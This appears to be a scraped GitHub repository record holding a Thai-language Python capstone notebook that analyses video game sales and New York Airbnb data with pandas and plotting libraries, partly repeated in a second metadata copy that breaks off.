Project1-Python-\n\nData Camp 2 \n\nBenjarat Chavanabutvilai\n"},{"alpha_fraction":0.5995112657546997,"alphanum_fraction":0.6464457511901855,"avg_line_length":17.549333572387695,"blob_id":"f08e0996c3a9f14cbbd0de745f5673aeb85c995f","content_id":"8502e44505499aa892738482becf3f3f873d281b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":19305,"license_type":"no_license","max_line_length":169,"num_lines":750,"path":"/Project 1 Capstone .py","repo_name":"benjaratc/Project1-Python-","src_encoding":"UTF-8","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# Part 1 \n\n# 1. จงเขียนโปรแกรมรับค่า Input จากผู้ใช้ ถ้าผู้ใช้ใส่ 0.0 จึงจะสิ้นสุดโปรแกรม คำนวณหาค่าเฉลี่ยของเลขทั้งหมดที่ผู้ใช้ใส่ และปริ้นค่าเฉลี่ยคูณด้วยจำนวนครั้งที่ใส่ทั้งหมด \n\n# In[7]:\n\n\nCount = 0\nSum = 0 \n\nnum = float(input('ใส่ตัวเลขใดๆ (ถ้าใส่ 0.0 สิ้นสุดโปรแกรม ) :')) \n\nwhile num != 0.0:\n Sum = Sum + num\n Count +=1\n num = float(input('ใส่ตัวเลขใดๆ (ถ้าใส่ 0.0 สิ้นสุดโปรแกรม ) :')) \n\navg = Sum/Count \nprint(avg*Count)\nprint('Finished')\n\n\n# 2. จงเขียนโปรแกรมให้ผู้ใช้ใส่เลข ขอบเขตล่าง และ ขอบเขตบน และคำนวณหาเลขจำนวนเฉพาะ (Prime Number) ที่อยู่ระหว่างขอบเขตล่างและขอบเขตบน\n\n# In[735]:\n\n\nlow_bound = int(input('Enter a low bound number :')) #if_else \nup_bound = int(input('Enter a high bound number :')) \n\nfor num in range(low_bound,up_bound +1): \n if num > 1:\n for i in range(2,num):\n if num % i == 0:\n break \n else:\n print('%d is a prime number' %(num))\n\n# %s - String (or any object with a string representation, like numbers)\n# %d - Integers\n# %f - Floating point numbers \n\n\n# Part 2 : Video Game Sales \n\n# In[46]:\n\n\nimport numpy as np\nimport pandas as pd \nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\nimport seaborn as sns\nimport plotly.express as px\nimport plotly.graph_objects as go\n\n\n# 1. Import ไฟล์ vgsales เช็คข้อมูลเบื้องต้น\n\n# In[183]:\n\n\ndf = pd.read_csv('../Desktop/DataCamp/vgsales.csv')\ndf.head()\n\n\n# In[185]:\n\n\ndf.info()\n\n\n# In[181]:\n\n\ndf.describe()\n\n\n# 2. สุ่มอ่านข้อมูล 10 แถว หัว 5 แถว และท้าย 10 แถว\n\n# In[57]:\n\n\ndf.sample(10)\n\n\n# In[55]:\n\n\ndf.head(5)\n\n\n# In[56]:\n\n\ndf.tail(10)\n\n\n# 3. หา Top 10 Platform ยอดฮิต พร้อมระบุจำนวน\n\n# In[187]:\n\n\ncountPlatform = df['Platform'].value_counts() #df['Platform'].value_counts().head(10)\ncountPlatform.head(10)\n\n\n# 4. หา Bottom 10 Platform ยอดฮิต พร้อมระบุจำนวน\n\n# In[75]:\n\n\ncountPlatform = df['Platform'].value_counts()\ncountPlatform.tail(10)\n\n\n# 5. หา Top 10 Platform ชนิดของเกมส์ยอดฮิต พร้อมระบุจำนวน \n\n# In[77]:\n\n\ngroupPlatform = df['Genre'].value_counts()\ncountGenre.head(10)\n\n\n# 6. หา Bottom 10 Platform ชนิดของเกมส์ยอดฮิต พร้อมระบุจำนวน\n\n# In[78]:\n\n\ncountGenre = df['Genre'].value_counts()\ncountGenre.tail(10)\n\n\n# 7. หารายละเอียดเกมส์ GTA V ภาคต่างๆ ทั้งหมด \n\n# In[190]:\n\n\ndf[df['Name'] == 'Grand Theft Auto V']\n\n\n# 8. หาจำนวนเกมส์ที่มีชื่อซ้ำกันทั้งหมด\n\n# In[208]:\n\n\ndf[df['Name'].duplicated(keep = False)].sort_values('Name') #keep = False คือซ้ำกันหมดจะออกมาอยู่ด้วย\n\n\n# 9. หาจำนวนเกมส์ที่มีชื่อและ Platform ซ้ำกันทั้งหมด\n\n# In[210]:\n\n\ndf[df[['Name','Platform']].duplicated(keep = False)].sort_values('Name')\n\n\n# 10. จากข้อ 9 พิจารณาแถวที่ข้อมูลซ้ำแและลบแถวนั้น\n\n# In[225]:\n\n\ndf_new = df.drop(df.index[[16127,14999,4145]]) #or inplace = True\ndf_new.head()\n\n\n# 11. หารายได้ทั้งหมดเกมส์ FIFA 15\n\n# In[313]:\n\n\ndf2 = df_new.groupby('Name').sum().reset_index()\ndf2\n\n\n# In[231]:\n\n\ndf2[df2['Name'] == 'FIFA 15']\n\n\n# 12. หารายได้ทั้งหมดของเกมส์ GTA V ในญี่ปุ่น\n\n# In[232]:\n\n\ndf2[df2['Name'] == 'Grand Theft Auto V']\n\n\n# 13. สร้าง DF ที่ให้ index เป็นรายชื่อของเกมส์ที่มีซ้ำ และ Column เป็นจำนวนที่มีซ้ำ ไม่นับที่เป็น Unique\n\n# In[385]:\n\n\ncount = df_new['Name'].value_counts()\ncount = pd.DataFrame(count)\ncount = count[count['Name']>1]\ncount.rename(columns = {'Name':'Count'})\n\n\n# 14. สร้าง DF ที่มี index เป็นชื่อบริษัท และเรียงลำดับตามรายได้รวมจากมากไปน้อย\n\n# In[393]:\n\n\npublisher = df_new.groupby('Publisher').sum().sort_values('Global_Sales')[::-1]\npublisher = publisher['Global_Sales']\npublisher = pd.DataFrame(publisher).reset_index()\npublisher\n\n\n# 15. จงสร้าง DF ที่บรรจุเกมส์ Series Call of duty ทั้งหมด\n\n# In[416]:\n\n\ncallOfDuty = df_new[df_new['Name'].apply(lambda check: check[0:12] == 'Call of Duty')]\ncallOfDuty\n\n\n# 16. จงหาว่า Call of Duty ภาคใดใน PC มีรายสูงสุดในยุโรป 5 อันดับแรก\n\n# In[420]:\n\n\nPC = callOfDuty[callOfDuty['Platform']=='PC'].sort_values('EU_Sales')[::-1].head(5)\nPC\n\n\n# 17. จงหาว่า Platform ใด มียอดขายรวมสูงสุดในยุโรป\n\n# In[242]:\n\n\ndf_new.groupby('Platform').sum().sort_values('EU_Sales')[::-1].head(1)\n\n\n# 18. จงหาว่าเกมส์ประเภทใดมียอดขายเฉลี่ยสูงสุดในภูมิภาคอื่นๆรอบโลก\n\n# In[243]:\n\n\ndf_new.groupby('Genre').sum().sort_values('Global_Sales')[::-1].head(1)\n\n\n# 19. สร้าง Bar Plot โดยให้แกน X เป็น Platform และ Y เป็นยอดขายทั่วโลก\n\n# In[334]:\n\n\nfig = plt.figure(figsize = (18,10))\nsns.barplot(data = df_new, x ='Platform', y = 'Global_Sales')\n\n\n# 20. สร้าง Pie Chart หาส่วนแบ่งทางการตลาดของ 5 บริษัทแรกที่มีรายได้มากที่สุด\n\n# In[421]:\n\n\nTop5MarketShare = df.groupby('Publisher').sum().sort_values('Global_Sales')[::-1].head(5)\nTop5MarketShare\n\n\n# In[422]:\n\n\nfig = px.pie(Top5MarketShare, values = 'Global_Sales', names = Top5MarketShare.index)\nfig.show()\n\n\n# 21. สร้าง Count Plot นับข้อมูลประเภทของเกมส์\n\n# In[423]:\n\n\nfig = plt.figure(figsize = (22,8))\nsns.countplot(x='Genre', data = df_new)\nfig.show()\n\n\n# 22. สร้าง Bar plot Top 5 รายได้ทั่วโลกของ Call of Duty ภาคต่างๆใน Xbox\n\n# In[449]:\n\n\ntop5callOfDuty = callOfDuty[callOfDuty['Platform'] == 'X360'].sort_values('Global_Sales')[::-1].head(5)\ntop5callOfDuty\n\n\n# In[446]:\n\n\nfig = plt.figure(figsize = (20,8))\nsns.barplot(data = top5callOfDuty, x = 'Name', y = 'Global_Sales')\nfig.show()\n\n\n# 23. สร้าง Line Graph แสดงรายได้จาก North America จากปีแรกถึงปีสุดท้าย\n\n# In[286]:\n\n\nyear = df.groupby('Year').sum()\nyear.head()\n\n\n# In[451]:\n\n\nfig = px.line(year, y = 'NA_Sales', x = year.index, title = 'NA Sales', labels = {'x':'Year'})\nfig.show()\n\n\n# 24. สร้าง Stripplot โดยให้แกน X เป็น Genre และ แกน Y เป็นรายได้ทั่วโลก\n\n# In[458]:\n\n\nfig = plt.figure(figsize = (20,8))\nsns.stripplot(x = 'Genre', y = 'Global_Sales',data = df_new)\nfig.show()\n\n\n# 25. สร้าง Distribution Plot ของปี\n\n# In[459]:\n\n\nfig = plt.figure(figsize = (20,8))\nsns.distplot(df['Year'])\n\n\n# 26. สร้าง Bar Plot แสดงรายได้รวมในญี่ปุ่นรายปี\n\n# In[340]:\n\n\nJapan_Sales = df_new.groupby('Year').sum()\nJapan_Sales.head()\n\n\n# In[344]:\n\n\nfig = plt.figure(figsize = (20,8))\nsns.barplot(data = Japan_Sales, x = Japan_Sales.index, y = 'JP_Sales')\nfig.autofmt_xdate()\nfig.show()\n\n\n# Part 2: Airbnb\n\n# 1. Import ไฟล์ AB_NYC_2019 และ เช็คข้อมูลเบื้องต้น\n\n# In[353]:\n\n\nbnb = pd.read_csv('../Desktop/DataCamp/AB_NYC_2019.csv')\nbnb.head()\n\n\n# In[463]:\n\n\nbnb.info()\n\n\n# 2. สุ่มอ่านข้อมูล 10 แถว หัว 5 แถว และท้าย 10 แถว\n\n# In[354]:\n\n\nbnb.sample(10)\n\n\n# In[355]:\n\n\nbnb.head(5)\n\n\n# In[356]:\n\n\nbnb.tail(10)\n\n\n# 3. หา Top 10 Neighbourhood ยอดฮิต พร้อมระบุจำนวน\n\n# In[466]:\n\n\ncountNeighbourhood = bnb['neighbourhood'].value_counts()\ncountNeighbourhood = pd.DataFrame(countNeighbourhood)\ncountNeighbourhood = countNeighbourhood.rename(columns = {'neighbourhood':'count'})\ncountNeighbourhood.head()\n\n\n# 4. หา Bottom 10 Neighbourhood ยอดฮิต พร้อมระบุจำนวน\n\n# In[491]:\n\n\ncountNeighbourhood = bnb.groupby('neighbourhood').size().reset_index(name = 'count').sort_values('count')[::-1]\ncountNeighbourhood.tail(10)\n\n\n# 5. หา Top 10 Neighbourhood Group ยอดฮิต พร้อมระบุจำนวน\n\n# In[359]:\n\n\ncountNeighbourhoodGroup = bnb['neighbourhood_group'].value_counts()\ncountNeighbourhoodGroup.head(10)\n\n\n# 6. หา Bottom 10 Neighbourhood Group ยอดฮิต พร้อมระบุจำนวน\n\n# In[360]:\n\n\ncountNeighbourhoodGroup = bnb['neighbourhood_group'].value_counts()\ncountNeighbourhoodGroup.tail(10)\n\n\n# 7. หาค่าเฉลี่ยราคาของพื้นที่ และเขต\n\n# In[361]:\n\n\ngroupby_neighbourhood_group = bnb.groupby('neighbourhood_group').mean()\ngroupby_neighbourhood_group['price'] #bnb.groupby('neighbourhood_group').mean()['price'] \n\n\n# In[497]:\n\n\ngroupby_neighbourhood = bnb.groupby('neighbourhood').mean().reset_index()[['neighbourhood','price']].sort_values('price')[::-1]\ngroupby_neighbourhood\n\n\n# 8. จงหาว่าห้องประเภทใดมีราคาเฉลี่ยมากที่สุด\n\n# In[363]:\n\n\ngroupby_roomtype = bnb.groupby('room_type').mean()\ngroupby_roomtype['price']\n\n\n# 9. จงหาว่าพื้นที่ใดมีข้อมูลพื้นที่อยู่แค่หน่วยเดียว\n\n# In[364]:\n\n\ncountNeighbourhood[countNeighbourhood ==1]\n\n\n# 10. จงหาว่าที่พักแบบใดมีการให้บริการมากที่สุด และมากเท่าใด\n\n# In[505]:\n\n\nroom_type = bnb['room_type'].value_counts()\nroom_type = pd.DataFrame(room_type)\nroom_type = room_type.rename(columns = {'room_type':'count'})\nroom_type\n\n\n# 11. จงหาว่าพื้นที่ใดมีจำนวนรีวิวมากที่สุด และ เขตใดมีจำนวนรีวิวมากที่สุด\n\n# In[513]:\n\n\nbnb.groupby('neighbourhood').sum().sort_values('number_of_reviews')[::-1].head(1)\n\n\n# In[515]:\n\n\nbnb.groupby('neighbourhood_group').sum().sort_values('number_of_reviews')[::-1].head(1)\n\n\n# 12. จงหา Top 3 จำนวน Minimum Nights ที่มีเขตไม่ซ้ำกัน\n\n# In[520]:\n\n\nbnb.sort_values('minimum_nights')[::-1].drop_duplicates('neighbourhood_group').head(3)\n\n\n# 13. จงหาชื่อ Host ที่ลิสที่อยู่มากที่สุด 10 อันดับแรก (Hint: ใช้ชื่อไม่ได้)\n\n# In[543]:\n\n\nhost = bnb.sort_values('calculated_host_listings_count')[::-1] .drop_duplicates('calculated_host_listings_count') .head(10)\nhost[['host_id','host_name','calculated_host_listings_count']] \n\n\n# 14. จงหาชื่อ Host ที่มีชื่อซ้ำกันมากที่สุด 10 ชื่อ (โดยที่ไม่ใช้คนเดียวกัน)\n\n# In[563]:\n\n\nhost = bnb.sort_values('host_id')[::-1] .drop_duplicates('host_id')\nhost_duplicate = host['host_name'].value_counts()\nhost_duplicate[host_duplicate>1].head(10)\n\n\n# 15. จงหาชื่อ Host ที่มีรีวิวมากที่สุด 10 อันดับแรก\n\n# In[567]:\n\n\nbnb.groupby(['host_id','host_name'],as_index = False).sum().sort_values('number_of_reviews')[::-1].head(10)\n\n\n# 16. จงหาชื่อ Host ที่มีการลิสที่อยู่ที่มีราคาเฉลี่ยสูงที่สุด 10 อันดับแรก\n\n# In[574]:\n\n\nbnb.groupby(['host_id','host_name'],as_index = False).mean().sort_values('price')[::-1].head(10)\n\n\n# 17. จงเพิ่ม 2 คอลัมน์ชื่อ Year และ Month จาก last review ต่อท้าย โดยใช้ข้อมูลจากคอลัมน์ last_review (Hint: ใช้ lambda)\n\n# In[576]:\n\n\nbnb.head()\n\n\n# In[588]:\n\n\nbnb2 = bnb.dropna()\nbnb2[['Year','Month','Date']] = bnb2.last_review.str.split(\"-\",expand=True)\nbnb2.head()\n\n\n# 18. สร้าง column ใหม่ โดยให้บรรจุ Time of the week (วันจันทร์ อังคาร....) โดยใช้ข้อมูลจาก last_review (Hint: ใช้ timestamp เข้ามาช่วย) \n\n# In[699]:\n\n\nday_of_week = {0:'Mon',1:'Tue', 2:'Wed', 3:'Thur', 4:'Fri', 5:'Sat',6:'Sun'}\nbnb2['last_review'] = pd.to_datetime(bnb2['last_review'])\nbnb2['day_of_week'] = bnb2['last_review'].apply(lambda time: time.dayofweek)\nbnb2['day_of_week'] = bnb2['day_of_week'].map(day_of_week)\nbnb2_day = bnb2.drop('day of week',axis = 1)\nbnb2_day.head()\n\n\n# 19. สร้าง Count Plot นับข้อมูลประเภทของที่อยู่อาศัย\n\n# In[598]:\n\n\nfig = plt.figure(figsize = (12,8))\nsns.countplot(data = bnb, x = 'room_type')\nfig.show()\n\n\n# 20. สร้าง Pie Chart หาพื้นที่ ที่มีที่อยู่อาศัยเยอะที่สุด 5 อันดับแรก\n\n# In[377]:\n\n\nTop5Areas = bnb.groupby('neighbourhood').count().sort_values('id')[::-1].head(5)\nTop5Areas\n\n\n# In[378]:\n\n\nfig = px.pie(Top5Areas, values = 'id', names = Top5Areas.index)\nfig.show()\n\n\n# 21. สร้าง Box Plot โดยให้แกน X เป็น เขต และ Y เป็นจำนวนรีวิว\n\n# In[685]:\n\n\nfig = plt.figure(figsize = (25,10))\nfig = sns.boxplot(data = bnb, x = 'neighbourhood_group',y = 'number_of_reviews')\nfig.set(ylim = (0,80))\n\n\n# 22. สร้าง HeatMap จาก Correlation ของ DataFrame และพิจารณาดูความสัมพันธ์ พร้อมกับนำความสัมพันธ์ที่เป็น Strongest Positive มาทำ Scatter Plot\n\n# In[604]:\n\n\nbnb_corr = bnb.corr()\nbnb_corr\n\n\n# In[611]:\n\n\nfig = plt.figure(figsize = (15,15))\nsns.heatmap(bnb_corr, annot = True)\n\n\n# In[614]:\n\n\nfig = plt.figure(figsize = (12,10))\nsns.scatterplot(data = bnb, x = 'reviews_per_month',y = 'number_of_reviews')\nfig.show()\n\n\n# 23. สร้าง Bar plot หาจำนวน Last review ของแต่ละเดือนของปี 2018 (change from count plot to bar plot)\n\n# In[701]:\n\n\nbnb3 = bnb2_day.groupby(['Year','Month'], as_index = False).sum()\nbnb4 = bnb3[bnb3['Year'] == '2018']\nbnb4\n\n\n# In[686]:\n\n\nfig = plt.figure(figsize = (12,10))\nsns.barplot(data = bnb4, x = 'Month', y = 'number_of_reviews')\nfig.show()\n\n\n# 24. สร้าง Pie Chart หาอัตราส่วน Last Review ในแต่ละวัน\n\n# In[700]:\n\n\nfig = px.pie(bnb2_day , values = 'number_of_reviews', names = 'day_of_week')\nfig.show()\n\n\n# 25. สร้าง Line Graph หาราคาเฉลี่ยในแต่ละเดือนของ Last Review ในปี 2019\n\n# In[702]:\n\n\nbnb5 = bnb2_day.groupby(['Year','Month'], as_index = False).mean()\nbnb6 = bnb5[bnb5['Year'] == '2019']\nbnb6 #vdo is wrong no 2019 \n\n\n# In[707]:\n\n\npx.line(bnb6 , x = 'Month',y = 'price')\n\n\n# 26. สร้าง Column ใหม่ โดยคำนวณ ณ เวลาปัจจุบันถึงวันที่ Last Review ห่างกันกี่วัน (Hint: ใช้ datetime ปัจจุบัน - datetime last review)\n\n# In[713]:\n\n\nimport datetime\ntoday = datetime.datetime.today()\ntoday \n\n\n# In[717]:\n\n\nbnb2_day['diff']= bnb2_day['last_review'].apply(lambda past: (today - past).days)\nbnb2_day.head()\n\n\n# 27. สร้าง Pie Chart ของระยะห่างของเวลา ระหว่างปัจจุบันถึง Last review เฉลี่ย ของแต่ละเขต (หน่วยเป็นวัน)\n\n# In[720]:\n\n\nbnb7 = bnb2_day.groupby('neighbourhood_group', as_index = False).mean()\nbnb7\n\n\n# In[721]:\n\n\nfig = px.pie(bnb7 , values = 'diff', names = 'neighbourhood_group')\nfig.show()\n\n\n# 28. สร้าง Bar Plot ของระยะห่างของเวลา ระหว่างปัจจุบันถึง Last review เฉลี่ย ของแต่ละพื้นที่ 10 พื้นที่แรกที่มีระยะเวลามากที่สุด (หน่วยเป็นวัน)\n\n# In[724]:\n\n\nbnb8 = bnb2_day.groupby('neighbourhood', as_index = False).mean().sort_values('diff')[::-1].head(10)\nbnb8.head()\n\n\n# In[727]:\n\n\nfig = plt.figure(figsize = (23,10))\nsns.barplot(data = bnb8, x = 'neighbourhood', y = 'diff')\nfig.show()\n\n\n# 29. สร้าง Bar Plot ของค่าเฉลี่ยระยะเวลาห่างระหว่างปัจจุบันถึง Last review เฉลี่ย ของแต่ละพื้นที่ 10 พื้นที่แรกที่มีระยะเวลาน้อยที่สุด \n\n# In[728]:\n\n\nbnb9 = bnb2_day.groupby('neighbourhood', as_index = False).mean().sort_values('diff')[::-1].tail(10)\nbnb9.head()\n\n\n# In[729]:\n\n\nfig = plt.figure(figsize = (23,10))\nsns.barplot(data = bnb9, x = 'neighbourhood', y = 'diff')\nfig.show()\n\n\n# 30. สร้าง Scatter Plot หาความสัมพันธ์ระหว่าง ระยะเวลาห่างระหว่างปัจจุบันถึง Last review กับ Minimum Nights (Hint: Correlation)\n\n# In[730]:\n\n\nfig = plt.figure(figsize = (15,15))\nsns.heatmap(bnb_corr, annot = True)\n\n\n# In[732]:\n\n\nfig = plt.figure(figsize = (20,10))\nsns.scatterplot(data = bnb2_day, x = 'diff',y = 'minimum_nights')\nfig.show()\n\n\n# In[733]:\n\n\npx.scatter(bnb2_day, x = 'diff',y = 'minimum_nights')\n\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6097561120986938,\n \"alphanum_fraction\": 0.6585366129875183,\n \"avg_line_length\": 7.199999809265137,\n \"blob_id\": \"cf1888079f1c9f2238951987995ddfe381615f6b\",\n \"content_id\": \"f2b1ac2b36d0f268203b9842869553b91afe11b9\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 41,\n \"license_type\": \"no_license\",\n \"max_line_length\": 18,\n \"num_lines\": 5,\n \"path\": \"/README.md\",\n \"repo_name\": \"benjaratc/Project1-Python-\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Project1-Python-\\n\\nData Camp 2 \\n\\nBenjarat Chavanabutvilai\\n\"\n },\n {\n \"alpha_fraction\": 0.5995112657546997,\n \"alphanum_fraction\": 0.6464457511901855,\n \"avg_line_length\": 17.549333572387695,\n \"blob_id\": \"f08e0996c3a9f14cbbd0de745f5673aeb85c995f\",\n \"content_id\": \"8502e44505499aa892738482becf3f3f873d281b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 19305,\n \"license_type\": \"no_license\",\n \"max_line_length\": 169,\n \"num_lines\": 750,\n \"path\": \"/Project 1 Capstone .py\",\n \"repo_name\": \"benjaratc/Project1-Python-\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python\\n# coding: utf-8\\n\\n# Part 1 \\n\\n# 1. จงเขียนโปรแกรมรับค่า Input จากผู้ใช้ ถ้าผู้ใช้ใส่ 0.0 จึงจะสิ้นสุดโปรแกรม คำนวณหาค่าเฉลี่ยของเลขทั้งหมดที่ผู้ใช้ใส่ และปริ้นค่าเฉลี่ยคูณด้วยจำนวนครั้งที่ใส่ทั้งหมด \\n\\n# In[7]:\\n\\n\\nCount = 0\\nSum = 0 \\n\\nnum = float(input('ใส่ตัวเลขใดๆ (ถ้าใส่ 0.0 สิ้นสุดโปรแกรม ) :')) \\n\\nwhile num != 0.0:\\n Sum = Sum + num\\n Count +=1\\n num = float(input('ใส่ตัวเลขใดๆ (ถ้าใส่ 0.0 สิ้นสุดโปรแกรม ) :')) \\n\\navg = Sum/Count \\nprint(avg*Count)\\nprint('Finished')\\n\\n\\n# 2. จงเขียนโปรแกรมให้ผู้ใช้ใส่เลข ขอบเขตล่าง และ ขอบเขตบน และคำนวณหาเลขจำนวนเฉพาะ (Prime Number) ที่อยู่ระหว่างขอบเขตล่างและขอบเขตบน\\n\\n# In[735]:\\n\\n\\nlow_bound = int(input('Enter a low bound number :')) #if_else \\nup_bound = int(input('Enter a high bound number :')) \\n\\nfor num in range(low_bound,up_bound +1): \\n if num > 1:\\n for i in range(2,num):\\n if num % i == 0:\\n break \\n else:\\n print('%d is a prime number' %(num))\\n\\n# %s - String (or any object with a string representation, like numbers)\\n# %d - Integers\\n# %f - Floating point numbers \\n\\n\\n# Part 2 : Video Game Sales \\n\\n# In[46]:\\n\\n\\nimport numpy as np\\nimport pandas as pd \\nimport matplotlib.pyplot as plt\\nget_ipython().run_line_magic('matplotlib', 'inline')\\nimport seaborn as sns\\nimport plotly.express as px\\nimport plotly.graph_objects as go\\n\\n\\n# 1. Import ไฟล์ vgsales เช็คข้อมูลเบื้องต้น\\n\\n# In[183]:\\n\\n\\ndf = pd.read_csv('../Desktop/DataCamp/vgsales.csv')\\ndf.head()\\n\\n\\n# In[185]:\\n\\n\\ndf.info()\\n\\n\\n# In[181]:\\n\\n\\ndf.describe()\\n\\n\\n# 2. สุ่มอ่านข้อมูล 10 แถว หัว 5 แถว และท้าย 10 แถว\\n\\n# In[57]:\\n\\n\\ndf.sample(10)\\n\\n\\n# In[55]:\\n\\n\\ndf.head(5)\\n\\n\\n# In[56]:\\n\\n\\ndf.tail(10)\\n\\n\\n# 3. หา Top 10 Platform ยอดฮิต พร้อมระบุจำนวน\\n\\n# In[187]:\\n\\n\\ncountPlatform = df['Platform'].value_counts() #df['Platform'].value_counts().head(10)\\ncountPlatform.head(10)\\n\\n\\n# 4. หา Bottom 10 Platform ยอดฮิต พร้อมระบุจำนวน\\n\\n# In[75]:\\n\\n\\ncountPlatform = df['Platform'].value_counts()\\ncountPlatform.tail(10)\\n\\n\\n# 5. หา Top 10 Platform ชนิดของเกมส์ยอดฮิต พร้อมระบุจำนวน \\n\\n# In[77]:\\n\\n\\ngroupPlatform = df['Genre'].value_counts()\\ncountGenre.head(10)\\n\\n\\n# 6. หา Bottom 10 Platform ชนิดของเกมส์ยอดฮิต พร้อมระบุจำนวน\\n\\n# In[78]:\\n\\n\\ncountGenre = df['Genre'].value_counts()\\ncountGenre.tail(10)\\n\\n\\n# 7. หารายละเอียดเกมส์ GTA V ภาคต่างๆ ทั้งหมด \\n\\n# In[190]:\\n\\n\\ndf[df['Name'] == 'Grand Theft Auto V']\\n\\n\\n# 8. หาจำนวนเกมส์ที่มีชื่อซ้ำกันทั้งหมด\\n\\n# In[208]:\\n\\n\\ndf[df['Name'].duplicated(keep = False)].sort_values('Name') #keep = False คือซ้ำกันหมดจะออกมาอยู่ด้วย\\n\\n\\n# 9. หาจำนวนเกมส์ที่มีชื่อและ Platform ซ้ำกันทั้งหมด\\n\\n# In[210]:\\n\\n\\ndf[df[['Name','Platform']].duplicated(keep = False)].sort_values('Name')\\n\\n\\n# 10. จากข้อ 9 พิจารณาแถวที่ข้อมูลซ้ำแและลบแถวนั้น\\n\\n# In[225]:\\n\\n\\ndf_new = df.drop(df.index[[16127,14999,4145]]) #or inplace = True\\ndf_new.head()\\n\\n\\n# 11. หารายได้ทั้งหมดเกมส์ FIFA 15\\n\\n# In[313]:\\n\\n\\ndf2 = df_new.groupby('Name').sum().reset_index()\\ndf2\\n\\n\\n# In[231]:\\n\\n\\ndf2[df2['Name'] == 'FIFA 15']\\n\\n\\n# 12. หารายได้ทั้งหมดของเกมส์ GTA V ในญี่ปุ่น\\n\\n# In[232]:\\n\\n\\ndf2[df2['Name'] == 'Grand Theft Auto V']\\n\\n\\n# 13. สร้าง DF ที่ให้ index เป็นรายชื่อของเกมส์ที่มีซ้ำ และ Column เป็นจำนวนที่มีซ้ำ ไม่นับที่เป็น Unique\\n\\n# In[385]:\\n\\n\\ncount = df_new['Name'].value_counts()\\ncount = pd.DataFrame(count)\\ncount = count[count['Name']>1]\\ncount.rename(columns = {'Name':'Count'})\\n\\n\\n# 14. สร้าง DF ที่มี index เป็นชื่อบริษัท และเรียงลำดับตามรายได้รวมจากมากไปน้อย\\n\\n# In[393]:\\n\\n\\npublisher = df_new.groupby('Publisher').sum().sort_values('Global_Sales')[::-1]\\npublisher = publisher['Global_Sales']\\npublisher = pd.DataFrame(publisher).reset_index()\\npublisher\\n\\n\\n# 15. จงสร้าง DF ที่บรรจุเกมส์ Series Call of duty ทั้งหมด\\n\\n# In[416]:\\n\\n\\ncallOfDuty = df_new[df_new['Name'].apply(lambda check: check[0:12] == 'Call of Duty')]\\ncallOfDuty\\n\\n\\n# 16. จงหาว่า Call of Duty ภาคใดใน PC มีรายสูงสุดในยุโรป 5 อันดับแรก\\n\\n# In[420]:\\n\\n\\nPC = callOfDuty[callOfDuty['Platform']=='PC'].sort_values('EU_Sales')[::-1].head(5)\\nPC\\n\\n\\n# 17. จงหาว่า Platform ใด มียอดขายรวมสูงสุดในยุโรป\\n\\n# In[242]:\\n\\n\\ndf_new.groupby('Platform').sum().sort_values('EU_Sales')[::-1].head(1)\\n\\n\\n# 18. จงหาว่าเกมส์ประเภทใดมียอดขายเฉลี่ยสูงสุดในภูมิภาคอื่นๆรอบโลก\\n\\n# In[243]:\\n\\n\\ndf_new.groupby('Genre').sum().sort_values('Global_Sales')[::-1].head(1)\\n\\n\\n# 19. สร้าง Bar Plot โดยให้แกน X เป็น Platform และ Y เป็นยอดขายทั่วโลก\\n\\n# In[334]:\\n\\n\\nfig = plt.figure(figsize = (18,10))\\nsns.barplot(data = df_new, x ='Platform', y = 'Global_Sales')\\n\\n\\n# 20. สร้าง Pie Chart หาส่วนแบ่งทางการตลาดของ 5 บริษัทแรกที่มีรายได้มากที่สุด\\n\\n# In[421]:\\n\\n\\nTop5MarketShare = df.groupby('Publisher').sum().sort_values('Global_Sales')[::-1].head(5)\\nTop5MarketShare\\n\\n\\n# In[422]:\\n\\n\\nfig = px.pie(Top5MarketShare, values = 'Global_Sales', names = Top5MarketShare.index)\\nfig.show()\\n\\n\\n# 21. สร้าง Count Plot นับข้อมูลประเภทของเกมส์\\n\\n# In[423]:\\n\\n\\nfig = plt.figure(figsize = (22,8))\\nsns.countplot(x='Genre', data = df_new)\\nfig.show()\\n\\n\\n# 22. สร้าง Bar plot Top 5 รายได้ทั่วโลกของ Call of Duty ภาคต่างๆใน Xbox\\n\\n# In[449]:\\n\\n\\ntop5callOfDuty = callOfDuty[callOfDuty['Platform'] == 'X360'].sort_values('Global_Sales')[::-1].head(5)\\ntop5callOfDuty\\n\\n\\n# In[446]:\\n\\n\\nfig = plt.figure(figsize = (20,8))\\nsns.barplot(data = top5callOfDuty, x = 'Name', y = 'Global_Sales')\\nfig.show()\\n\\n\\n# 23. สร้าง Line Graph แสดงรายได้จาก North America จากปีแรกถึงปีสุดท้าย\\n\\n# In[286]:\\n\\n\\nyear = df.groupby('Year').sum()\\nyear.head()\\n\\n\\n# In[451]:\\n\\n\\nfig = px.line(year, y = 'NA_Sales', x = year.index, title = 'NA Sales', labels = {'x':'Year'})\\nfig.show()\\n\\n\\n# 24. สร้าง Stripplot โดยให้แกน X เป็น Genre และ แกน Y เป็นรายได้ทั่วโลก\\n\\n# In[458]:\\n\\n\\nfig = plt.figure(figsize = (20,8))\\nsns.stripplot(x = 'Genre', y = 'Global_Sales',data = df_new)\\nfig.show()\\n\\n\\n# 25. สร้าง Distribution Plot ของปี\\n\\n# In[459]:\\n\\n\\nfig = plt.figure(figsize = (20,8))\\nsns.distplot(df['Year'])\\n\\n\\n# 26. สร้าง Bar Plot แสดงรายได้รวมในญี่ปุ่นรายปี\\n\\n# In[340]:\\n\\n\\nJapan_Sales = df_new.groupby('Year').sum()\\nJapan_Sales.head()\\n\\n\\n# In[344]:\\n\\n\\nfig = plt.figure(figsize = (20,8))\\nsns.barplot(data = Japan_Sales, x = Japan_Sales.index, y = 'JP_Sales')\\nfig.autofmt_xdate()\\nfig.show()\\n\\n\\n# Part 2: Airbnb\\n\\n# 1. Import ไฟล์ AB_NYC_2019 และ เช็คข้อมูลเบื้องต้น\\n\\n# 